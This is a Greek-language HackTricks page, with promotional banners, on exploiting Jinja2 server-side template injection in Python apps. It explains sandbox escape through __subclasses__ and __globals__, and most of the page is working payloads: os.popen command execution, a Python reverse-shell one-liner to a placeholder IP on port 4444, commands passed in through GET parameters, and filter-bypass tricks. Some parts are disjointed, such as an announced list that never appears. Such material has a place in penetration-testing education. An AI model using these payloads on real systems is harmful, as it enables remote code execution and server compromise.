<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
Εάν η Επέκταση Αποσφαλμάτωσης είναι ενεργοποιημένη, θα είναι διαθέσιμη μια ετικέτα `debug`γιανα εμφανίσει το τρέχον περιβάλλον καθώς και τα διαθέσιμα φίλτρα και τεστ. Αυτό είναι χρήσιμο γιανα δούμε τι είναι διαθέσιμο για χρήση στο πρότυπο χωρίς να χρειάζεται να ρυθμίσουμε έναν αποσφαλματωτή.
Καταρχήν, σε μια εισαγωγή Jinja χρειάζεται να**βρείτε έναν τρόπο να δραπετεύσετε από το αμμοδοχείο** και να ανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης της Python. Για να το κάνετε αυτό, πρέπει να**καταχραστείτε αντικείμενα** που είναι **από** το **μη αμμοδοχείο περιβάλλον αλλά είναι προσβάσιμα από το αμμοδοχείο**.
Για παράδειγμα, στον κώδικα `render_template("hello.html", username=username, email=email)` τα αντικείμενα username και email **προέρχονται από το μη αμμοδοχείο περιβάλλον της Python** και θα είναι **προσβάσιμα** μέσα στο **αμμοδοχείο περιβάλλοντος**.\
Επιπλέον, υπάρχουν και άλλα αντικείμενα που θα είναι **πάντα προσβάσιμα από το αμμοδοχείο περιβάλλοντος**, αυτά είναι:
Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: **`<class 'object'>`** γιανα προσπαθήσουμε να**ανακτήσουμε** τις ορισμένες **κλάσεις**. Αυτό γίνεται επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο **`__subclasses__`** και να έχουμε πρόσβαση σε όλες τις κλάσεις από το μη-απομονωμένο περιβάλλον της Python.
Για να έχουμε πρόσβαση σε αυτήν την **κλάση αντικειμένου**, πρέπει να έχουμε πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να έχουμε πρόσβαση είτε στο **`__base__`**, **`__mro__()[-1]`** ή `.`**`mro()[-1]`**. Και στη συνέχεια, **μετά** από την επίτευξη αυτής της **κλάσης αντικειμένου**, καλούμε τη μέθοδο **`__subclasses__()`**.
**Έχοντας ανακτήσει** `<class 'object'>` και καλέσει την `__subclasses__` τώρα μπορούμε να χρησιμοποιήσουμε αυτές τις κλάσεις γιανα διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.
Η κλήση στην `__subclasses__` μας έχει δώσει την ευκαιρία να**έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις**, θα είμαστε ικανοποιημένοι απλά με την πρόσβαση στην **κλάση αρχείου**γιανα**διαβάσουμε/γράψουμε αρχεία** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως η `os`).
**RCE** (Remote Code Execution) είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να εκτελέσει κώδικα απομακρυσμένα σε έναν εξυπηρετητή. Αυτό μπορεί να οδηγήσει σε πλήρη παράκαμψη των μέτρων ασφαλείας και να επιτρέψει στον επιτιθέμενο να αποκτήσει πλήρη έλεγχο του συστήματος. Οι επιθέσεις RCE μπορούν να είναι αποτέλεσμα ευπαθειών σε διάφορες τεχνολογίες, όπως οι γλώσσες προγραμματισμού, οι διακομιστές εφαρμογών και οι πλατφόρμες διαχείρισης περιεχομένου. Για να προστατευτείτε από επιθέσεις RCE, είναι σημαντικό να ενημερώνετε τα συστήματά σας και να εφαρμόζετε τις βέλτιστες πρακτικές ασφαλείας.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Αυτές οι παρακάμψεις θα μας επιτρέψουν να**έχουμε πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιούμε ορισμένους χαρακτήρες**.\
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα των προηγούμενων, αλλά ας τις περιλάβουμε εδώ:
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
Από τα [**παγκόσμια αντικείμενα**](jinja2-ssti.md#πρόσβαση-σε-παγκόσμια-αντικείμενα) υπάρχει ένας άλλος τρόπος να φτάσετε σε **RCE χωρίς να χρησιμοποιείτε αυτήν την κλάση**.\
Αν καταφέρετε να φτάσετε σε οποιαδήποτε **συνάρτηση** από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να έχετε πρόσβαση στο **`__globals__.__builtins__`** και από εκεί το **RCE** είναι πολύ **απλό**.
Μπορείτε να**βρείτε συναρτήσεις** από τα αντικείμενα **`request`**, **`config`** και οποιοδήποτε **άλλο** ενδιαφέρον **παγκόσμιο αντικείμενο** στο οποίο έχετε πρόσβαση με:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.